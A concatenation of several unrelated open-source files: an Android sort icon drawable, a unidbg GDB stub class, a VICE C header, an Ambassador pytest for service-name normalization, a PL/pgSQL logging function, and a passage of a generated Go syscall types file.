Copyright (C) 2018 Andy Scherzinger
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:height="24dp"
android:width="24dp"
android:viewportWidth="24"
android:viewportHeight="24">
<path android:fillColor="#757575" android:pathData="M20.401,13.623L18.877,13.621L18.868,20.218L17.228,18.57L16.145,19.651L19.627,23.145L23.12,19.663L22.039,18.58L20.392,20.219L20.401,13.623ZM15.034,12.122L15.034,13.376L10.691,19.609L10.691,19.684L15.1,19.684L15.1,21.481L7.847,21.481L7.847,20.302L12.292,13.967L12.292,13.91L8.268,13.91L8.268,12.122L15.034,12.122ZM13.051,1.85L15.981,11.208L13.678,11.208L12.949,8.68L10.244,8.68L9.571,11.208L7.352,11.208L10.244,1.85L13.051,1.85ZM12.64,7.165L12.05,5.182L11.807,4.273L11.573,3.374L11.545,3.374L11.339,4.283L11.114,5.2L10.553,7.165L12.64,7.165Z" />
</vector>
| {
"pile_set_name": "Github"
} |
package com.github.unidbg.debugger.gdb;
import com.github.unidbg.Emulator;
class LastSignalCommand implements GdbStubCommand {
@Override
public boolean processCommand(Emulator<?> emulator, GdbStub stub, String command) {
stub.makePacketAndSend("S" + GdbStub.SIGTRAP);
return true;
}
}
| {
"pile_set_name": "Github"
} |
/*
* c128fastiec.h - Fast IEC bus handling.
*
* Written by
* Andreas Boose <[email protected]>
*
* This file is part of VICE, the Versatile Commodore Emulator.
* See README for copyright notice.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
* 02111-1307 USA.
*
*/
#ifndef VICE_C128FASTIEC_H
#define VICE_C128FASTIEC_H
#include "types.h"
extern void c128fastiec_init(void);
extern void c128fastiec_fast_cpu_write(uint8_t data);
extern void c128fastiec_fast_cpu_direction(int direction);
extern void c64fastiec_fast_cpu_write(uint8_t data);
extern int burst_mod;
#endif
| {
"pile_set_name": "Github"
} |
from typing import Optional
import logging
import sys
import pytest
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s test %(levelname)s: %(message)s",
datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger("ambassador")
from ambassador import Config, IR
from ambassador.fetch import ResourceFetcher
from ambassador.utils import NullSecretHandler
from ambassador.ir import IRResource
from ambassador.ir.irbasemapping import normalize_service_name
yaml = '''
---
apiVersion: getambassador.io/v1
kind: Module
name: ambassador
config: {}
'''
def qualify_service_name(ir: 'IR', service: str, namespace: Optional[str], rkey: Optional[str]=None) -> str:
return normalize_service_name(ir, service, namespace, 'KubernetesTestResolver', rkey=rkey)
def test_qualify_service():
aconf = Config()
fetcher = ResourceFetcher(logger, aconf)
fetcher.parse_yaml(yaml)
aconf.load_all(fetcher.sorted())
secret_handler = NullSecretHandler(logger, None, None, "0")
ir = IR(aconf, file_checker=lambda path: True, secret_handler=secret_handler)
assert ir, "could not create an IR"
assert qualify_service_name(ir, "backoffice", None) == "backoffice"
assert qualify_service_name(ir, "backoffice", "default") == "backoffice"
assert qualify_service_name(ir, "backoffice", "otherns") == "backoffice.otherns"
assert qualify_service_name(ir, "backoffice.otherns", None) == "backoffice.otherns"
assert qualify_service_name(ir, "backoffice.otherns", "default") == "backoffice.otherns"
assert qualify_service_name(ir, "backoffice.otherns", "otherns") == "backoffice.otherns"
assert normalize_service_name(ir, "backoffice", None, 'ConsulResolver') == "backoffice"
assert normalize_service_name(ir, "backoffice", "default", 'ConsulResolver') == "backoffice"
assert normalize_service_name(ir, "backoffice", "otherns", 'ConsulResolver') == "backoffice"
assert normalize_service_name(ir, "backoffice.otherns", None, 'ConsulResolver') == "backoffice.otherns"
assert normalize_service_name(ir, "backoffice.otherns", "default", 'ConsulResolver') == "backoffice.otherns"
assert normalize_service_name(ir, "backoffice.otherns", "otherns", 'ConsulResolver') == "backoffice.otherns"
assert qualify_service_name(ir, "backoffice:80", None) == "backoffice:80"
assert qualify_service_name(ir, "backoffice:80", "default") == "backoffice:80"
assert qualify_service_name(ir, "backoffice:80", "otherns") == "backoffice.otherns:80"
assert qualify_service_name(ir, "backoffice.otherns:80", None) == "backoffice.otherns:80"
assert qualify_service_name(ir, "backoffice.otherns:80", "default") == "backoffice.otherns:80"
assert qualify_service_name(ir, "backoffice.otherns:80", "otherns") == "backoffice.otherns:80"
assert normalize_service_name(ir, "backoffice:80", None, 'ConsulResolver') == "backoffice:80"
assert normalize_service_name(ir, "backoffice:80", "default", 'ConsulResolver') == "backoffice:80"
assert normalize_service_name(ir, "backoffice:80", "otherns", 'ConsulResolver') == "backoffice:80"
assert normalize_service_name(ir, "backoffice.otherns:80", None, 'ConsulResolver') == "backoffice.otherns:80"
assert normalize_service_name(ir, "backoffice.otherns:80", "default", 'ConsulResolver') == "backoffice.otherns:80"
assert normalize_service_name(ir, "backoffice.otherns:80", "otherns", 'ConsulResolver') == "backoffice.otherns:80"
assert qualify_service_name(ir, "http://backoffice", None) == "http://backoffice"
assert qualify_service_name(ir, "http://backoffice", "default") == "http://backoffice"
assert qualify_service_name(ir, "http://backoffice", "otherns") == "http://backoffice.otherns"
assert qualify_service_name(ir, "http://backoffice.otherns", None) == "http://backoffice.otherns"
assert qualify_service_name(ir, "http://backoffice.otherns", "default") == "http://backoffice.otherns"
assert qualify_service_name(ir, "http://backoffice.otherns", "otherns") == "http://backoffice.otherns"
assert normalize_service_name(ir, "http://backoffice", None, 'ConsulResolver') == "http://backoffice"
assert normalize_service_name(ir, "http://backoffice", "default", 'ConsulResolver') == "http://backoffice"
assert normalize_service_name(ir, "http://backoffice", "otherns", 'ConsulResolver') == "http://backoffice"
assert normalize_service_name(ir, "http://backoffice.otherns", None, 'ConsulResolver') == "http://backoffice.otherns"
assert normalize_service_name(ir, "http://backoffice.otherns", "default", 'ConsulResolver') == "http://backoffice.otherns"
assert normalize_service_name(ir, "http://backoffice.otherns", "otherns", 'ConsulResolver') == "http://backoffice.otherns"
assert qualify_service_name(ir, "http://backoffice:80", None) == "http://backoffice:80"
assert qualify_service_name(ir, "http://backoffice:80", "default") == "http://backoffice:80"
assert qualify_service_name(ir, "http://backoffice:80", "otherns") == "http://backoffice.otherns:80"
assert qualify_service_name(ir, "http://backoffice.otherns:80", None) == "http://backoffice.otherns:80"
assert qualify_service_name(ir, "http://backoffice.otherns:80", "default") == "http://backoffice.otherns:80"
assert qualify_service_name(ir, "http://backoffice.otherns:80", "otherns") == "http://backoffice.otherns:80"
assert normalize_service_name(ir, "http://backoffice:80", None, 'ConsulResolver') == "http://backoffice:80"
assert normalize_service_name(ir, "http://backoffice:80", "default", 'ConsulResolver') == "http://backoffice:80"
assert normalize_service_name(ir, "http://backoffice:80", "otherns", 'ConsulResolver') == "http://backoffice:80"
assert normalize_service_name(ir, "http://backoffice.otherns:80", None, 'ConsulResolver') == "http://backoffice.otherns:80"
assert normalize_service_name(ir, "http://backoffice.otherns:80", "default", 'ConsulResolver') == "http://backoffice.otherns:80"
assert normalize_service_name(ir, "http://backoffice.otherns:80", "otherns", 'ConsulResolver') == "http://backoffice.otherns:80"
assert qualify_service_name(ir, "https://backoffice", None) == "https://backoffice"
assert qualify_service_name(ir, "https://backoffice", "default") == "https://backoffice"
assert qualify_service_name(ir, "https://backoffice", "otherns") == "https://backoffice.otherns"
assert qualify_service_name(ir, "https://backoffice.otherns", None) == "https://backoffice.otherns"
assert qualify_service_name(ir, "https://backoffice.otherns", "default") == "https://backoffice.otherns"
assert qualify_service_name(ir, "https://backoffice.otherns", "otherns") == "https://backoffice.otherns"
assert normalize_service_name(ir, "https://backoffice", None, 'ConsulResolver') == "https://backoffice"
assert normalize_service_name(ir, "https://backoffice", "default", 'ConsulResolver') == "https://backoffice"
assert normalize_service_name(ir, "https://backoffice", "otherns", 'ConsulResolver') == "https://backoffice"
assert normalize_service_name(ir, "https://backoffice.otherns", None, 'ConsulResolver') == "https://backoffice.otherns"
assert normalize_service_name(ir, "https://backoffice.otherns", "default", 'ConsulResolver') == "https://backoffice.otherns"
assert normalize_service_name(ir, "https://backoffice.otherns", "otherns", 'ConsulResolver') == "https://backoffice.otherns"
assert qualify_service_name(ir, "https://backoffice:443", None) == "https://backoffice:443"
assert qualify_service_name(ir, "https://backoffice:443", "default") == "https://backoffice:443"
assert qualify_service_name(ir, "https://backoffice:443", "otherns") == "https://backoffice.otherns:443"
assert qualify_service_name(ir, "https://backoffice.otherns:443", None) == "https://backoffice.otherns:443"
assert qualify_service_name(ir, "https://backoffice.otherns:443", "default") == "https://backoffice.otherns:443"
assert qualify_service_name(ir, "https://backoffice.otherns:443", "otherns") == "https://backoffice.otherns:443"
assert normalize_service_name(ir, "https://backoffice:443", None, 'ConsulResolver') == "https://backoffice:443"
assert normalize_service_name(ir, "https://backoffice:443", "default", 'ConsulResolver') == "https://backoffice:443"
assert normalize_service_name(ir, "https://backoffice:443", "otherns", 'ConsulResolver') == "https://backoffice:443"
assert normalize_service_name(ir, "https://backoffice.otherns:443", None, 'ConsulResolver') == "https://backoffice.otherns:443"
assert normalize_service_name(ir, "https://backoffice.otherns:443", "default", 'ConsulResolver') == "https://backoffice.otherns:443"
assert normalize_service_name(ir, "https://backoffice.otherns:443", "otherns", 'ConsulResolver') == "https://backoffice.otherns:443"
assert qualify_service_name(ir, "localhost", None) == "localhost"
assert qualify_service_name(ir, "localhost", "default") == "localhost"
assert qualify_service_name(ir, "localhost", "otherns") == "localhost"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert qualify_service_name(ir, "localhost.otherns", None) == "localhost.otherns"
assert qualify_service_name(ir, "localhost.otherns", "default") == "localhost.otherns"
assert qualify_service_name(ir, "localhost.otherns", "otherns") == "localhost.otherns"
assert normalize_service_name(ir, "localhost", None, 'ConsulResolver') == "localhost"
assert normalize_service_name(ir, "localhost", "default", 'ConsulResolver') == "localhost"
assert normalize_service_name(ir, "localhost", "otherns", 'ConsulResolver') == "localhost"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert normalize_service_name(ir, "localhost.otherns", None, 'ConsulResolver') == "localhost.otherns"
assert normalize_service_name(ir, "localhost.otherns", "default", 'ConsulResolver') == "localhost.otherns"
assert normalize_service_name(ir, "localhost.otherns", "otherns", 'ConsulResolver') == "localhost.otherns"
assert qualify_service_name(ir, "localhost:80", None) == "localhost:80"
assert qualify_service_name(ir, "localhost:80", "default") == "localhost:80"
assert qualify_service_name(ir, "localhost:80", "otherns") == "localhost:80"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert qualify_service_name(ir, "localhost.otherns:80", None) == "localhost.otherns:80"
assert qualify_service_name(ir, "localhost.otherns:80", "default") == "localhost.otherns:80"
assert qualify_service_name(ir, "localhost.otherns:80", "otherns") == "localhost.otherns:80"
assert normalize_service_name(ir, "localhost:80", None, 'ConsulResolver') == "localhost:80"
assert normalize_service_name(ir, "localhost:80", "default", 'ConsulResolver') == "localhost:80"
assert normalize_service_name(ir, "localhost:80", "otherns", 'ConsulResolver') == "localhost:80"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert normalize_service_name(ir, "localhost.otherns:80", None, 'ConsulResolver') == "localhost.otherns:80"
assert normalize_service_name(ir, "localhost.otherns:80", "default", 'ConsulResolver') == "localhost.otherns:80"
assert normalize_service_name(ir, "localhost.otherns:80", "otherns", 'ConsulResolver') == "localhost.otherns:80"
assert qualify_service_name(ir, "http://localhost", None) == "http://localhost"
assert qualify_service_name(ir, "http://localhost", "default") == "http://localhost"
assert qualify_service_name(ir, "http://localhost", "otherns") == "http://localhost"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert qualify_service_name(ir, "http://localhost.otherns", None) == "http://localhost.otherns"
assert qualify_service_name(ir, "http://localhost.otherns", "default") == "http://localhost.otherns"
assert qualify_service_name(ir, "http://localhost.otherns", "otherns") == "http://localhost.otherns"
assert normalize_service_name(ir, "http://localhost", None, 'ConsulResolver') == "http://localhost"
assert normalize_service_name(ir, "http://localhost", "default", 'ConsulResolver') == "http://localhost"
assert normalize_service_name(ir, "http://localhost", "otherns", 'ConsulResolver') == "http://localhost"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert normalize_service_name(ir, "http://localhost.otherns", None, 'ConsulResolver') == "http://localhost.otherns"
assert normalize_service_name(ir, "http://localhost.otherns", "default", 'ConsulResolver') == "http://localhost.otherns"
assert normalize_service_name(ir, "http://localhost.otherns", "otherns", 'ConsulResolver') == "http://localhost.otherns"
assert qualify_service_name(ir, "http://localhost:80", None) == "http://localhost:80"
assert qualify_service_name(ir, "http://localhost:80", "default") == "http://localhost:80"
assert qualify_service_name(ir, "http://localhost:80", "otherns") == "http://localhost:80"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert qualify_service_name(ir, "http://localhost.otherns:80", None) == "http://localhost.otherns:80"
assert qualify_service_name(ir, "http://localhost.otherns:80", "default") == "http://localhost.otherns:80"
assert qualify_service_name(ir, "http://localhost.otherns:80", "otherns") == "http://localhost.otherns:80"
assert normalize_service_name(ir, "http://localhost:80", None, 'ConsulResolver') == "http://localhost:80"
assert normalize_service_name(ir, "http://localhost:80", "default", 'ConsulResolver') == "http://localhost:80"
assert normalize_service_name(ir, "http://localhost:80", "otherns", 'ConsulResolver') == "http://localhost:80"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert normalize_service_name(ir, "http://localhost.otherns:80", None, 'ConsulResolver') == "http://localhost.otherns:80"
assert normalize_service_name(ir, "http://localhost.otherns:80", "default", 'ConsulResolver') == "http://localhost.otherns:80"
assert normalize_service_name(ir, "http://localhost.otherns:80", "otherns", 'ConsulResolver') == "http://localhost.otherns:80"
assert qualify_service_name(ir, "https://localhost", None) == "https://localhost"
assert qualify_service_name(ir, "https://localhost", "default") == "https://localhost"
assert qualify_service_name(ir, "https://localhost", "otherns") == "https://localhost"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert qualify_service_name(ir, "https://localhost.otherns", None) == "https://localhost.otherns"
assert qualify_service_name(ir, "https://localhost.otherns", "default") == "https://localhost.otherns"
assert qualify_service_name(ir, "https://localhost.otherns", "otherns") == "https://localhost.otherns"
assert normalize_service_name(ir, "https://localhost", None, 'ConsulResolver') == "https://localhost"
assert normalize_service_name(ir, "https://localhost", "default", 'ConsulResolver') == "https://localhost"
assert normalize_service_name(ir, "https://localhost", "otherns", 'ConsulResolver') == "https://localhost"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert normalize_service_name(ir, "https://localhost.otherns", None, 'ConsulResolver') == "https://localhost.otherns"
assert normalize_service_name(ir, "https://localhost.otherns", "default", 'ConsulResolver') == "https://localhost.otherns"
assert normalize_service_name(ir, "https://localhost.otherns", "otherns", 'ConsulResolver') == "https://localhost.otherns"
assert qualify_service_name(ir, "https://localhost:443", None) == "https://localhost:443"
assert qualify_service_name(ir, "https://localhost:443", "default") == "https://localhost:443"
assert qualify_service_name(ir, "https://localhost:443", "otherns") == "https://localhost:443"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert qualify_service_name(ir, "https://localhost.otherns:443", None) == "https://localhost.otherns:443"
assert qualify_service_name(ir, "https://localhost.otherns:443", "default") == "https://localhost.otherns:443"
assert qualify_service_name(ir, "https://localhost.otherns:443", "otherns") == "https://localhost.otherns:443"
assert normalize_service_name(ir, "https://localhost:443", None, 'ConsulResolver') == "https://localhost:443"
assert normalize_service_name(ir, "https://localhost:443", "default", 'ConsulResolver') == "https://localhost:443"
assert normalize_service_name(ir, "https://localhost:443", "otherns", 'ConsulResolver') == "https://localhost:443"
# It's not meaningful to actually say "localhost.otherns", but it should passed through unchanged.
assert normalize_service_name(ir, "https://localhost.otherns:443", None, 'ConsulResolver') == "https://localhost.otherns:443"
assert normalize_service_name(ir, "https://localhost.otherns:443", "default", 'ConsulResolver') == "https://localhost.otherns:443"
assert normalize_service_name(ir, "https://localhost.otherns:443", "otherns", 'ConsulResolver') == "https://localhost.otherns:443"
assert qualify_service_name(ir, "ambassador://foo.ns", "otherns") == "ambassador://foo.ns" # let's not introduce silly semantics
assert qualify_service_name(ir, "//foo.ns:1234", "otherns") == "foo.ns:1234" # we tell people "URL-ish", actually support URL-ish
assert qualify_service_name(ir, "foo.ns:1234", "otherns") == "foo.ns:1234"
assert normalize_service_name(ir, "ambassador://foo.ns", "otherns", 'ConsulResolver') == "ambassador://foo.ns" # let's not introduce silly semantics
assert normalize_service_name(ir, "//foo.ns:1234", "otherns", 'ConsulResolver') == "foo.ns:1234" # we tell people "URL-ish", actually support URL-ish
assert normalize_service_name(ir, "foo.ns:1234", "otherns", 'ConsulResolver') == "foo.ns:1234"
errors = ir.aconf.errors
assert not errors
assert qualify_service_name(ir, "https://bad-service:443:443", "otherns") == "https://bad-service:443:443"
assert qualify_service_name(ir, "https://bad-service:443:443", "otherns", rkey="test-rkey") == "https://bad-service:443:443"
assert qualify_service_name(ir, "bad-service:443:443", "otherns") == "bad-service:443:443"
assert qualify_service_name(ir, "https://[fe80::e022:9cff:fecc:c7c4:443", "otherns") == "https://[fe80::e022:9cff:fecc:c7c4:443"
assert qualify_service_name(ir, "https://[fe80::e022:9cff:fecc:c7c4", "otherns") == "https://[fe80::e022:9cff:fecc:c7c4"
assert qualify_service_name(ir, "https://fe80::e022:9cff:fecc:c7c4", "otherns") == "https://fe80::e022:9cff:fecc:c7c4"
assert qualify_service_name(ir, "https://bad-service:-1", "otherns") == "https://bad-service:-1"
assert qualify_service_name(ir, "https://bad-service:70000", "otherns") == "https://bad-service:70000"
assert normalize_service_name(ir, "https://bad-service:443:443", "otherns", 'ConsulResolver') == "https://bad-service:443:443"
assert normalize_service_name(ir, "https://bad-service:443:443", "otherns", 'ConsulResolver', rkey="test-rkey") == "https://bad-service:443:443"
assert normalize_service_name(ir, "bad-service:443:443", "otherns", 'ConsulResolver') == "bad-service:443:443"
assert normalize_service_name(ir, "https://[fe80::e022:9cff:fecc:c7c4:443", "otherns", 'ConsulResolver') == "https://[fe80::e022:9cff:fecc:c7c4:443"
assert normalize_service_name(ir, "https://[fe80::e022:9cff:fecc:c7c4", "otherns", 'ConsulResolver') == "https://[fe80::e022:9cff:fecc:c7c4"
assert normalize_service_name(ir, "https://fe80::e022:9cff:fecc:c7c4", "otherns", 'ConsulResolver') == "https://fe80::e022:9cff:fecc:c7c4"
assert normalize_service_name(ir, "https://bad-service:-1", "otherns", 'ConsulResolver') == "https://bad-service:-1"
assert normalize_service_name(ir, "https://bad-service:70000", "otherns", 'ConsulResolver') == "https://bad-service:70000"
errors = ir.aconf.errors
assert "-global-" in errors
errors = errors["-global-"]
assert len(errors) == 16
# Ugg, different versions of Python have different error messages. Let's recognize the "Port could not be cast to
# integer value as" to keep pytest working on peoples up-to-date laptops with Python 3.8, and let's recognize
# "invalid literal for int() with base 10:" for the Python 3.7 in the builder container.
assert not errors[0]["ok"]
assert (errors[0]["error"] == "Malformed service 'https://bad-service:443:443': Port could not be cast to integer value as '443:443'" or
errors[0]["error"] == "Malformed service 'https://bad-service:443:443': invalid literal for int() with base 10: '443:443'")
assert not errors[1]["ok"]
assert (errors[1]["error"] == "test-rkey: Malformed service 'https://bad-service:443:443': Port could not be cast to integer value as '443:443'" or
errors[1]["error"] == "test-rkey: Malformed service 'https://bad-service:443:443': invalid literal for int() with base 10: '443:443'")
assert not errors[2]["ok"]
assert (errors[2]["error"] == "Malformed service 'bad-service:443:443': Port could not be cast to integer value as '443:443'" or
errors[2]["error"] == "Malformed service 'bad-service:443:443': invalid literal for int() with base 10: '443:443'")
assert not errors[3]["ok"]
assert errors[3]["error"] == "Malformed service 'https://[fe80::e022:9cff:fecc:c7c4:443': Invalid IPv6 URL"
assert not errors[4]["ok"]
assert errors[4]["error"] == "Malformed service 'https://[fe80::e022:9cff:fecc:c7c4': Invalid IPv6 URL"
assert not errors[5]["ok"]
assert (errors[5]["error"] == "Malformed service 'https://fe80::e022:9cff:fecc:c7c4': Port could not be cast to integer value as ':e022:9cff:fecc:c7c4'" or
errors[5]["error"] == "Malformed service 'https://fe80::e022:9cff:fecc:c7c4': invalid literal for int() with base 10: ':e022:9cff:fecc:c7c4'")
assert not errors[6]["ok"]
assert errors[6]["error"] == "Malformed service 'https://bad-service:-1': Port out of range 0-65535"
assert not errors[7]["ok"]
assert errors[7]["error"] == "Malformed service 'https://bad-service:70000': Port out of range 0-65535"
assert not errors[8]["ok"]
assert (errors[8]["error"] == "Malformed service 'https://bad-service:443:443': Port could not be cast to integer value as '443:443'" or
errors[8]["error"] == "Malformed service 'https://bad-service:443:443': invalid literal for int() with base 10: '443:443'")
assert not errors[9]["ok"]
assert (errors[9]["error"] == "test-rkey: Malformed service 'https://bad-service:443:443': Port could not be cast to integer value as '443:443'" or
errors[9]["error"] == "test-rkey: Malformed service 'https://bad-service:443:443': invalid literal for int() with base 10: '443:443'")
assert not errors[10]["ok"]
assert (errors[10]["error"] == "Malformed service 'bad-service:443:443': Port could not be cast to integer value as '443:443'" or
errors[10]["error"] == "Malformed service 'bad-service:443:443': invalid literal for int() with base 10: '443:443'")
assert not errors[11]["ok"]
assert errors[11]["error"] == "Malformed service 'https://[fe80::e022:9cff:fecc:c7c4:443': Invalid IPv6 URL"
assert not errors[12]["ok"]
assert errors[12]["error"] == "Malformed service 'https://[fe80::e022:9cff:fecc:c7c4': Invalid IPv6 URL"
assert not errors[13]["ok"]
assert (errors[13]["error"] == "Malformed service 'https://fe80::e022:9cff:fecc:c7c4': Port could not be cast to integer value as ':e022:9cff:fecc:c7c4'" or
errors[13]["error"] == "Malformed service 'https://fe80::e022:9cff:fecc:c7c4': invalid literal for int() with base 10: ':e022:9cff:fecc:c7c4'")
assert not errors[14]["ok"]
assert errors[14]["error"] == "Malformed service 'https://bad-service:-1': Port out of range 0-65535"
assert not errors[15]["ok"]
assert errors[15]["error"] == "Malformed service 'https://bad-service:70000': Port out of range 0-65535"
if __name__ == '__main__':
pytest.main(sys.argv)
| {
"pile_set_name": "Github"
} |
CREATE OR REPLACE FUNCTION
workspaces_message_update(
workspace_id bigint,
workspace_message text
) returns void
AS $$
DECLARE
workspace_version bigint;
BEGIN
UPDATE
workspaces as w
SET
message = workspace_message,
message_updated_at = now()
WHERE
w.id = workspace_id
RETURNING
w.version INTO workspace_version;
INSERT INTO workspace_logs
(date, workspace_id, version, message)
VALUES
(now(), workspace_id, workspace_version, workspace_message);
END;
$$ LANGUAGE plpgsql VOLATILE;
| {
"pile_set_name": "Github"
} |
// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build mips64le,linux
package unix
const (
sizeofPtr = 0x8
sizeofShort = 0x2
sizeofInt = 0x4
sizeofLong = 0x8
sizeofLongLong = 0x8
PathMax = 0x1000
)
type (
_C_short int16
_C_int int32
_C_long int64
_C_long_long int64
)
type Timespec struct {
Sec int64
Nsec int64
}
type Timeval struct {
Sec int64
Usec int64
}
type Timex struct {
Modes uint32
Pad_cgo_0 [4]byte
Offset int64
Freq int64
Maxerror int64
Esterror int64
Status int32
Pad_cgo_1 [4]byte
Constant int64
Precision int64
Tolerance int64
Time Timeval
Tick int64
Ppsfreq int64
Jitter int64
Shift int32
Pad_cgo_2 [4]byte
Stabil int64
Jitcnt int64
Calcnt int64
Errcnt int64
Stbcnt int64
Tai int32
Pad_cgo_3 [44]byte
}
type Time_t int64
type Tms struct {
Utime int64
Stime int64
Cutime int64
Cstime int64
}
type Utimbuf struct {
Actime int64
Modtime int64
}
type Rusage struct {
Utime Timeval
Stime Timeval
Maxrss int64
Ixrss int64
Idrss int64
Isrss int64
Minflt int64
Majflt int64
Nswap int64
Inblock int64
Oublock int64
Msgsnd int64
Msgrcv int64
Nsignals int64
Nvcsw int64
Nivcsw int64
}
type Rlimit struct {
Cur uint64
Max uint64
}
type _Gid_t uint32
type Stat_t struct {
Dev uint32
Pad1 [3]uint32
Ino uint64
Mode uint32
Nlink uint32
Uid uint32
Gid uint32
Rdev uint32
Pad2 [3]uint32
Size int64
Atim Timespec
Mtim Timespec
Ctim Timespec
Blksize uint32
Pad4 uint32
Blocks int64
}
type Statfs_t struct {
Type int64
Bsize int64
Frsize int64
Blocks uint64
Bfree uint64
Files uint64
Ffree uint64
Bavail uint64
Fsid Fsid
Namelen int64
Flags int64
Spare [5]int64
}
type Dirent struct {
Ino uint64
Off int64
Reclen uint16
Type uint8
Name [256]int8
Pad_cgo_0 [5]byte
}
type Fsid struct {
X__val [2]int32
}
type Flock_t struct {
Type int16
Whence int16
Pad_cgo_0 [4]byte
Start int64
Len int64
Pid int32
Pad_cgo_1 [4]byte
}
type FscryptPolicy struct {
Version uint8
Contents_encryption_mode uint8
Filenames_encryption_mode uint8
Flags uint8
Master_key_descriptor [8]uint8
}
type FscryptKey struct {
Mode uint32
Raw [64]uint8
Size uint32
}
type KeyctlDHParams struct {
Private int32
Prime int32
Base int32
}
const (
FADV_NORMAL = 0x0
FADV_RANDOM = 0x1
FADV_SEQUENTIAL = 0x2
FADV_WILLNEED = 0x3
FADV_DONTNEED = 0x4
FADV_NOREUSE = 0x5
)
type RawSockaddrInet4 struct {
Family uint16
Port uint16
Addr [4]byte /* in_addr */
Zero [8]uint8
}
type RawSockaddrInet6 struct {
Family uint16
Port uint16
Flowinfo uint32
Addr [16]byte /* in6_addr */
Scope_id uint32
}
type RawSockaddrUnix struct {
Family uint16
Path [108]int8
}
type RawSockaddrLinklayer struct {
Family uint16
Protocol uint16
Ifindex int32
Hatype uint16
Pkttype uint8
Halen uint8
Addr [8]uint8
}
type RawSockaddrNetlink struct {
Family uint16
Pad uint16
Pid uint32
Groups uint32
}
type RawSockaddrHCI struct {
Family uint16
Dev uint16
Channel uint16
}
type RawSockaddrCAN struct {
Family uint16
Pad_cgo_0 [2]byte
Ifindex int32
Addr [8]byte
}
type RawSockaddrALG struct {
Family uint16
Type [14]uint8
Feat uint32
Mask uint32
Name [64]uint8
}
type RawSockaddrVM struct {
Family uint16
Reserved1 uint16
Port uint32
Cid uint32
Zero [4]uint8
}
type RawSockaddr struct {
Family uint16
Data [14]int8
}
type RawSockaddrAny struct {
Addr RawSockaddr
Pad [96]int8
}
type _Socklen uint32
type Linger struct {
Onoff int32
Linger int32
}
type Iovec struct {
Base *byte
Len uint64
}
type IPMreq struct {
Multiaddr [4]byte /* in_addr */
Interface [4]byte /* in_addr */
}
type IPMreqn struct {
Multiaddr [4]byte /* in_addr */
Address [4]byte /* in_addr */
Ifindex int32
}
type IPv6Mreq struct {
Multiaddr [16]byte /* in6_addr */
Interface uint32
}
type PacketMreq struct {
Ifindex int32
Type uint16
Alen uint16
Address [8]uint8
}
type Msghdr struct {
Name *byte
Namelen uint32
Pad_cgo_0 [4]byte
Iov *Iovec
Iovlen uint64
Control *byte
Controllen uint64
Flags int32
Pad_cgo_1 [4]byte
}
type Cmsghdr struct {
Len uint64
Level int32
Type int32
}
type Inet4Pktinfo struct {
Ifindex int32
Spec_dst [4]byte /* in_addr */
Addr [4]byte /* in_addr */
}
type Inet6Pktinfo struct {
Addr [16]byte /* in6_addr */
Ifindex uint32
}
type IPv6MTUInfo struct {
Addr RawSockaddrInet6
Mtu uint32
}
type ICMPv6Filter struct {
Data [8]uint32
}
type Ucred struct {
Pid int32
Uid uint32
Gid uint32
}
type TCPInfo struct {
State uint8
Ca_state uint8
Retransmits uint8
Probes uint8
Backoff uint8
Options uint8
Pad_cgo_0 [2]byte
Rto uint32
Ato uint32
Snd_mss uint32
Rcv_mss uint32
Unacked uint32
Sacked uint32
Lost uint32
Retrans uint32
Fackets uint32
Last_data_sent uint32
Last_ack_sent uint32
Last_data_recv uint32
Last_ack_recv uint32
Pmtu uint32
Rcv_ssthresh uint32
Rtt uint32
Rttvar uint32
Snd_ssthresh uint32
Snd_cwnd uint32
Advmss uint32
Reordering uint32
Rcv_rtt uint32
Rcv_space uint32
Total_retrans uint32
}
const (
SizeofSockaddrInet4 = 0x10
SizeofSockaddrInet6 = 0x1c
SizeofSockaddrAny = 0x70
SizeofSockaddrUnix = 0x6e
SizeofSockaddrLinklayer = 0x14
SizeofSockaddrNetlink = 0xc
SizeofSockaddrHCI = 0x6
SizeofSockaddrCAN = 0x10
SizeofSockaddrALG = 0x58
SizeofSockaddrVM = 0x10
SizeofLinger = 0x8
SizeofIovec = 0x10
SizeofIPMreq = 0x8
SizeofIPMreqn = 0xc
SizeofIPv6Mreq = 0x14
SizeofPacketMreq = 0x10
SizeofMsghdr = 0x38
SizeofCmsghdr = 0x10
SizeofInet4Pktinfo = 0xc
SizeofInet6Pktinfo = 0x14
SizeofIPv6MTUInfo = 0x20
SizeofICMPv6Filter = 0x20
SizeofUcred = 0xc
SizeofTCPInfo = 0x68
)
const (
IFA_UNSPEC = 0x0
IFA_ADDRESS = 0x1
IFA_LOCAL = 0x2
IFA_LABEL = 0x3
IFA_BROADCAST = 0x4
IFA_ANYCAST = 0x5
IFA_CACHEINFO = 0x6
